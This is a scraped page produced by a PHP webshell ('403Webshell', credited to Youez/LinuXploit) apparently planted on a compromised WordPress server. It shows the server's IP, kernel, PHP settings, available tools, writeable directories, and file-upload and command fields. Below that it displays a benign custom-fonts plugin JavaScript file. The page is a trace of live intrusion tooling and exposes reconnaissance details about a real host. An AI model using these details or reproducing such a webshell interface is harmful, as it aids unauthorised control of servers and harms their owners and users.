403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.14
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/yme/wp-content/plugins/custom-fonts/admin/dashboard/assets/src/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/yme/wp-content/plugins/custom-fonts/admin/dashboard/assets/src/utils/setInitialState.js
import apiFetch from '@wordpress/api-fetch';

const setInitialState = ( store ) => {
	apiFetch( {
		path: '/bsf-custom-fonts/v1/admin/settings/',
	} ).then( ( data ) => {
		const initialState = {
			initialStateSetFlag : true,
			fonts: data.fonts,
			found_posts : data.found_posts,
			active_fonts_count : data.active_fonts_count,
			trash_fonts_count : data.trash_fonts_count,
			draft_fonts_count : data.draft_fonts_count,
			isDbUpdateRequired: false,
			optionPreload: data.optionPreload,
			editType: ''
		};

		store.dispatch( {type: 'UPDATE_INITIAL_STATE', payload: initialState} );
	} )
	.catch((error) => {
		console.error('Error fetching data:', error);
		store.dispatch({
			type: 'FETCH_SETTINGS_FAILED',
			payload: error.message || 'Failed to fetch settings. Please try again.',
		});
	});
};

export default setInitialState;

Youez - 2016 - github.com/yon3zu
LinuXploit